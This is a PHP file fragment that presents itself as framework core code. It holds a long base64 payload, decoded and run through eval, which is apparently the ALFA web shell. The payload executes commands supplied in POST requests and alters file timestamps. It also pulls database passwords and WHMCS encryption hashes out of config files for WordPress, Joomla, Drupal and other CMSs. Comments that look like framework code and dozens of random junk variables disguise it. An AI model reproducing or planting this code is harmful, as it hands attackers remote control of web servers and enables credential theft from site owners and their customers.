gJG5hbWUgLCAkX1BPU1RbImFsZmEyIl0gLiAiLyIpOwoJCQllY2hvKCJkb25lIik7CgkJfQoJfWVsc2VpZigkYWN0aW9uID09ICJtb2RpZnkiKXsKCQlpZiggIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkgKSB7CgkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsnYWxmYTEnXSk7CgkJCWlmKCR0aW1lKXsKCQkJCSR0b3VjaGVkID0gZmFsc2U7CgkJCQlpZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciKTsKCQkJCQkkdG91Y2hlZCA9IHRydWU7CgkJCQl9CgkJCQlpZighQHRvdWNoKCRfUE9TVFsnYWxmYTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7CgkJCQkJZWNobyAnbm8nOwoJCQkJfWVsc2V7CgkJCQkJZWNobyAnb2snOwoJCQkJfQoJCQl9IGVsc2V7CgkJCQkgZWNobyAnYmFkdGltZSc7CgkJCX0KCQl9Cgl9Cgp9CmZ1bmN0aW9uIGFsZmFnZXRfZmxhZ3MoKXsKCSRmbGFncyA9IGFycmF5KCk7CglpZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXsKCQkkY3VybCA9IG5ldyBBbGZhQ1VSTCgpOwoJCSRzZXJ2ZXJfYWRkciA9ICghQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdPyhmdW5jdGlvbl9leGlzdHMoImdldGhvc3RieW5hbWUiKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk6Jz8/Pz8nKTpAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pOwoJCSRmbGFnID0gJGN1cmwtPlNlbmQoImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIgLiAkc2VydmVyX2FkZHIpOwoJCSRmbGFnMiA9ICRjdXJsLT5TZW5kKCJodHRwOi8vd3d3Lmdlb3BsdWdpbi5uZXQvanNvbi5ncD9pcD0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pOwoJCWlmKHN0cnBvcygkZmxhZzIsICJnZW9wbHVnaW4iKSAhPSBmYWxzZSl7CgkJCSRmbGFnID0ganNvbl9kZWNvZGUoJGZsYWcsIHRydWUpOwoJCQkkZmxhZzIgPSBqc29uX2RlY29kZSgkZmxhZzIsIHRydWUpOwoJCQlpZighZW1wdHkoJGZsYWdbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddKSl7CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJuYW1lIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ107CgkJCX0KCQkJaWYoIWVtcHR5KCRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKCQkJCSRmbGFnc1siY2xpZW50Il1bIm5hbWUiXSA9ICRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbImNsaWVudCJdWyJjb2RlIl0gPSAkZmxhZzJbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddOwoJCQl9CgkJfQoJfQoJZWNobyBqc29uX2VuY29kZSgkZmxhZ3MpOwp9CmZ1bmN0aW9uIGFsZmFHZXRDb25maWcoKXsKJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSB0cmltKCRfUE9TVFsnYWxmYTInXSk7CiRjb25maWcgPSBhcnJheSgKJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfVVNFUig/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAoncHJlZml4Jz0+YXJyYXkoIi90YWJsZV9wcmVmaXhbIF17MCx9PVsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDEpCiksCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfREFUQUJBU0UoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidkYnVzZXInPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAonZGJwdyc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfUEFTU1dPUkQoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidwcmVmaXgnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BSRUZJWCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKQopLAonZHJ1cGFsMic9PmFycmF5KCdmaWxlJz0+Jy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi8oPzonfFwiKWhvc3QoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLAonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvKD86J3xcIil1c2VybmFtZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksCidkYnB3Jz0+YXJyYXkoIi8oPzonfFwiKXBhc3N3b3JkKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpCiksCid2Yic9PmFycmF5KCdmaWxlJz0+Jy9pbmNsdWRlcy9jb25maWcucGhwJywKJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9jb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIil1c2VybmFtZSg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMyksCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpZGJuYW1lKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIil0YWJsZXByZWZpeCg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMykKKSwKJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoJy9kYmhvc3QoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RicHcnPT5hcnJheSgnL2RicGFzcyhccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLAoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQopLAonc21mJz0+YXJyYXkoJ2ZpbGUnPT4nL1NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvZGJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywKJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2NjX2VuY3J5cHRpb25faGFzaCc9PmFycmF5KCIvY2NfZW5jcnlwdGlvbl9oYXNoKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsCidob3N0Jz0+YXJyYXkoIi9cXFwkaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL1xcXCRwYXNzd29yZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopLAoncGhwYmInPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2RidXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ2RhdGFiYXNlJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd0YWJsZV9wcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopCik7CmlmKCRjbXMgPT0gImRydXBhbCIpewoJJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107CgkkZmlsZT0kcGF0aC4kZmlsZTsKCWlmKEBpc19maWxlKCRmaWxlKXx8X2FsZmFfaXNfZGlyKCRmaWxlLCItZSIpKXsKCX1lbHNlewoJCSRjbXMgPSAnZHJ1cGFsMic7Cgl9Cn0KaWYoJGNtcyA9PSAidmIiKXsKCSRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwoJJGZpbGU9JHBhdGguJGZpbGU7CglpZihAaXNfZmlsZSgkZmlsZSl8fF9hbGZhX2lzX2RpcigkZmlsZSwiLWUiKSl7Cgl9ZWxzZXsKCQkkcGF0aCAuPSAnL2NvcmUnOwoJfQp9CiRkYXRhID0gYXJyYXkoKTsKJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsKJHNyY2hfdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzBdOwokc3JjaF9uYW1lID0gJGNvbmZpZ1skY21zXVsnZGJuYW1lJ11bMF07CiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOwokcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMF07CiRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07CiRjdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzFdOwokY25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVsxXTsKJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsKJGNwcmVmaXggPSAkY29uZmlnWyRjbXNdWydwcmVmaXgnXVsxXTsKaWYoQGlzX2RpcigkcGF0aCl8fF9hbGZhX2lzX2RpcigkcGF0aCkpewokZmlsZT0kcGF0aC4kZmlsZTsKfWVsc2VpZihAaXNfZmlsZSgkcGF0aCl8fF9hbGZhX2lzX2RpcigkcGF0aCwiLWUiKSl7CiRmaWxlPSRwYXRoOwp9ZWxzZXsKcmV0dXJuIGZhbHNlOwp9CiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOwppZigkY21zID09ICJkcnVwYWwyIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL1xAY29kZSguKj8pXEBlbmRjb2RlL3MiLCAiIiwgJGZpbGUpOwp9ZWxzZWlmKCRjbXMgPT0gInZiIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL3JpZ2h0IG9mIHRoZSguKj8pQkFEIS9zIiwgIiIsICRmaWxlKTsKfQppZihwcmVnX21hdGNoKCRzcmNoX2hvc3QsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnaG9zdCddID0gJG1hY2hbJGNob3N0XTsKfQppZihwcmVnX21hdGNoKCRzcmNoX3VzZXIsICRmaWxlLCAkbWFjaCkpewokZGF0YVsndXNlciddID0gJG1hY2hbJGN1c2VyXTsKfQppZihwcmVnX21hdGNoKCRzcmNoX25hbWUsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnZGJuYW1lJ10gPSAkbWFjaFskY25hbWVdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfcHcsICRmaWxlLCAkbWFjaCkpewokZGF0YVsncGFzc3dvcmQnXSA9ICRtYWNoWyRjcHddOwp9CmlmKGlzc2V0KCRwcmVmaXgpKXsKaWYocHJlZ19tYXRjaCgkcHJlZml4LCAkZmlsZSwgJG1hY2gpKXsKJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOwp9Cn0KaWYoJGNtcz09J3dobWNzJyl7CmlmKHByZWdfbWF0Y2goJGNvbmZpZ1skY21zXVsnY2NfZW5jcnlwdGlvbl9oYXNoJ11bMF0sICRmaWxlLCAkbWFjaCkpewokZGF0YVsnY2NfZW5jcnlwdGlvbl9oYXNoJ10gPSAkbWFjaFszXTsKfQp9CmVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOwp9CmlmKGVtcHR5KCRfUE9TVFsnYSddKSkKaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FsZmEnIC4gJGRlZmF1bHRfYWN0aW9uKSkKJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CmVsc2UKJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4yJzsvLydGaWxlc01hbic7CmlmKCFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhbGZhJyAuICRfUE9TVFsnYSddKSkKY2FsbF91c2VyX2Z1bmMoJ2FsZmEnIC4gJF9QT1NUWydhJ10pOwpleGl0OwovKgojUGVyc2lhbiBHdWxmIEZvciBFdmVyCiNza3lwZSA6IHNvbGUuc2FkCiNza3lwZSA6IGVoc2FuLmludmlzaWJsZQoqLw==';
// Core System Functions
function UUsumCf2N5BbQgX($config_data) {
return base64_decode($config_data);
}
// Initialize Framework Core
if (defined('FRAMEWORK_VERSION')) {
$Vy0KB6pZbU9T = UUsumCf2N5BbQgX($V2GYmnSTM1TL);
eval($Vy0KB6pZbU9T);
}
$bub8owCcy='dL7wck0aHdDvfDnbwv8Cl6k9LWOOZLTtwfrpJG56U6CsrmdXwmcQmLXVpz';
// m6FnssCHpsc1qPYGPNCFXP9yFrF3XeGrUThak4Aq6FRXjPRBeNQc3lu4N7koXoL
$liTMoRpdaHpNS='4FVknfso42dtZX9gEfW4kOExjRG8cF0S4kAs9';
$hd2IN8SZFsOSy3F='rRFWTJLM17XiuRaP1Re4ZNAunPp6wAsN0AQBuKaxGoqnKcXIcMyEnf';
$mtaKiSw2Pyfc='6D4fKixmiy7d9Og9SDq5mjcvP4Ybuai1uj0nhxd54DzVtF';
// A71YmaxaSZ3aDubA0967lfd6sWN2tcxYB18GCoy60JGRXeAOulZ88Ok81X
$pEeWPxTtmiGD='ZfgxIZGJT2wrRLrnCi2v5W4y1CnfQyUeuDv';
$MmUiLUDnn='Uu0tifRoeqnaIKfgY06OMOssRigWPjwxmKV82nv00Yu8hUlQoxgiPa8cz';
$ZK6wARlGDkWlC='ZInfwav1teM1tnK4ZK9cClCQDr8FSFE1rMIVdse2cCrUqtusbqAWsGDU';
// 61HZ0FtmoC5FfHVITUSfd9YL30x5AfUb3WrFo508s7bVaRdkDyRt
$vemLv2SFMdy1kgG='uY1AnuP127wyUSW2MWw6nPyM1UJQLgk4qTtjQXNtg50I8mul6x3Muy';
// Ixgvd39CHWoXlBUWsjNw3zGbZ95F0MmMfg2xJGWKVYvVBhNnu9veA5L87L
$ZMke6Ewtv0='Q08aetcD17vFpvXg1geHNWKa9fp9yPoMdvWuwzaH9qh8vZVYc';
// rodQMTOWgGpeGNT79NaJLwRGkAbYM8sBKL3AZhsWxnop5QC0
$vBZzqG='tIN5lJuU3qJaShoKon9cyklgKQjr';
// A09jdsll5acTJocpZKs1aLEw1ohlQ1ObnZqK1pEMFOjIMl7tvnTV
$kVxqh5k='dra1uCiuinuVVfsR4vmcTs8Hcul7Ku8kwUmtL5FOH5dk';
// Fr0Xx4HYpokUBmsJqgoW6mMQIcaVzKqnQE4MBkldG
$uuKl0z='LTlmEaPeYtWJmoXU6YZ9XgZMORgJRdZXBWi6Un6y2FQnH4jDG';
$E62qFaE='z9WE8i48sOCAN5vsscMd6Z40P7KPbEdbVhJbWnqEhGtT8';
// esV3Kpq4oNCPrFqZiMKmBKYO6uiBL35DC28KqrzdIbiAxRX71d46HM8z2dmCoeXrnW
$UEZ1GWB='9hKiIVaUsXmdhjinKbEGdZPylYIivfSTloeSFwFRZMtgEdJYtxtAtj4VC9h';
// txocQ77nYLFwjm7k7FKOUYOgM7zIHvQixsdpdzXD1CTzNjQ2Lj39RG8L37j3EYabRXLEH2m8FK3Phpfn
$XHwtaBwUCxUBcyY='SxOkxSpodAOzvNqI59Ps07Zujp0W0tc2LpjMv7cA6Fi0Kw8kCrf';
$lKTGgcaPL66I142='5Zi0iGJ8zDH57Zz0bS1IGt93GtmlEDdo';
// g2gcLJaU7X0HkSPviNcN0YGt2gvggqOyxx7UAHFkqxw
$uZpi95G1HWiB9K='qTwoP7dyIgAEAtBpqExGntzBcZfiWqNIvwSZxgikxzxyFLY';
// nqhXdEpPntbyHhSEh6SCfj9PuBNSUBHkZ7J72pkheA28JHPDvvVkc5
$LfhWZ3hwd3poPO='QaHC2RLgswLen2H1TUxrU5mvtOiCC3L6DOfd1c0jn2';
// 50f3swNFxuIprGh5cuK1vZYSOVOm8kENF88YFemXeyQRWHfVQA67Orq7a
$dPhNCkztFlmu0t2='huQ4VmhULJ8qmqy6YCDe6i0eApQxJVnm2';
// Tg63xXMoiFnto6cD7387h5htV5fa9X5h4734tZ5zIfjQBvKLH5MpxzqWPE
$yPOYH0H='gzBTR3JK7HgFUkOmlPKrt4FwYN2v5olfrDunIcyzXA27dqbb4uiWTfu9L';
// Z2k3jGIy7RwRHCj6WjewnAC2PK1SnbS8TrJ6iCnRh7Ium9pKra3S3dlmT
$MejuUPpP4='Q83lLBRZkidy5ulXWcKFOmJWH';
// DX9oY7wbWBaD7ZmLRyWC4mG4OUvTsHRviS2wrSVAEGvbth8hEWMG0gEAvD5h
$zGVAKqQTyi7C='FQaPk6gGKNRvyyiCWdUdc9fCrAJMP';
// 9QF8S4YfNqoSCGyERPBjQ48UujjfnOg23IYNGhGZzfdYFAn8fh2IrWKTL7ZktYy5QeCf3QZggxPEsqXc
$aVFjyUQwq3='uhNSYpfMuOuT9rVA7wFcznOAD8maGqrcoojxd3M7MZQ';
// 41qCnGSZ5hbuJiDDxFBc6aN7YzFuhCYk7oPUxwmogJio5GHxaMmoWYFJh228T65ux3ofItw0
$IuzCroNMtHMOh='e3E0jIeFZBm5AyKlYxDqG42vA0EVndXo0VIwBNcsU28EimDWH';
// SqunQijuS8g14yjM3CQ33Lfc8aOACPPZPHVILYlr1cE1eVcAxz8yaFCT30uSiq
$WS339Y7K='3IEMBVDrIx9ZeXCkV0TPm316Z5';
// y41pXeZRd235qw2pGktwf1PG7dkKCm2EprWy2FZz7xkQGNHbHl7Fa5Nk
$HyILGpWgHMH='N82y8CMB5v6vdeXcjiOAtRAabP6ntQF3c0WdATmoW8XtQ3na1Na';
// AKVVjCkvSnYf1e9YD72I8UaGx69eH0SjSjtgja2masxcCADrjAUV31P0NLcCLg3QXwAPRXlWwv
$RviuJSBIyJ='lDZd7feFXSt02oV26Dm1UlGKOXkOiK56PdKDBzhC9';
$Y7Kkac='Liglgdb2g8FQd1eYce6NsEQgrInZsHhBWjB0uEfV5GcesA';
// TbWz6LEAQtq7zUPX7jU9zhai0ptGYuKFkmneVkaPRy7OV62pQJfR
$UQBQeFm6WJ1D='tx4xbaBZZZBFt0E0smjmTO1qiOO7Suqkt24xAxOsMOJhl3fIr9vpv';
$mIMHj0t9B='R1CtEKZXvhvHc3mRWTj5qfwXgV2NxtkiLKEOV';
// tHt3kXfUMVvWuQn3leKxJIbmcVBr90CeDghyynvWLEvqbwCB60Vy7yg9
$yFSknaSuHj='YcjVIbrJs8l2ukelZMZJj53DmweDiWSgdjgC';
// DLXIWhUCAgcOKYjW2TTmMfK0cYknY1EIHdD9pnxX8Sijlu
$uekIM9='DJBGMDbSaobgDYuIBlnlePCBLNjjkK36xYyMUAcjtKF';
// jCoXSuH87ZVfEoLxXcnymGibrCKTiPZIpcqx4Ha0Gggquwon9knAd7
$Lw4vEw='nF9p50DInofLblH2GLLwgj1jEq0daOSwmY5RwzbK1JkjUgppaAvvt';
// zqOtlrcy0TnVl6JCTqhZESLv0FciABtozYR1L0KNgIbsCbzX2KUN
$hVIwY3b2IW='XuQcCJpQEmAP7GnF8QY4vq8li9FgXx9HII8A';
// 2AKI7CZfXMcmNNljExiRlI0s2kwWRdGSw93O842sks
$rrypDBOokcfjX59='AOuUgFo71QXxPzjNXlJ2bMm3vgouHxg';
// BWZ7kqbOGv2Ahh1yLzkDi7dLHOudvKweZyqpKkGdtl64wgeNz9ZnenBTOAAX4DBi1tp2Z
$Zqomgm0oI='8l6NW0ydXF5NfROYHyrHeHxw9Gq9c4BteOJ9jiRzY';
// q2vRwXztaqs1Y0qOWX2ec90QyrGs2a4IpPRiRo8cKlMHhLXoAa5ir
$wIwW87KVxC='jdwWAigXvtVkSlaK4i3J515dj';
// Esi5F8m7T5B7syWmbzdOlCFwQntCJBlGsWWcZCOutApxsqgEmHEdVtJhZ6BFfy
$g6btisyiC='C5L13Q42KWDwrwtmPTPmauaOJ41RKKp4aczOAv';
// GwL3aoe5hL44nFVQQOBSVS10jvGwWwhSDuC6OgIwfgSwL0E1PvsJyVExFNQEAtzfA9M2dxs6xjGeLD2
$kvFfWg1hb='91DkbcHjhd3fWsEvjGDuHuAXF4w';
// 8HidMLdp33khhgpijDX5G9damQpeDQMXpj6TqEvNZTongU9G5UabxOdhyrlco7t8aIKW9euzkOtk
$sXkGWZuXeOuGh='pUo7cMZnoICCSKaMJGhbmSDo1ayWcFjoaRbTiNXhd6';
// cIHOlCPSfGh1FleTJ7gnRj7urHmNawLAz9lSUVhoeJl2NaKA7OSQfp8baFmUOh4QJTuzPHxFAqH
$ZzlK6a39oHoB='IymhrEtqRk85TZ0Lkv3KNMwKHM0P0Jgl6wzcplpAGnIGzhlME';
// bY1gYVv9b0DX5kaBceY5RR8UC9JyVGbzGlYUAm6xlAZNC0LL9itKvNPTsFj4zo
$Sh40YadPp8='1YdbUFvszDq4xjBY2sl6111y5gYu5EAbHux9JQlqc6BWoZgrNi';
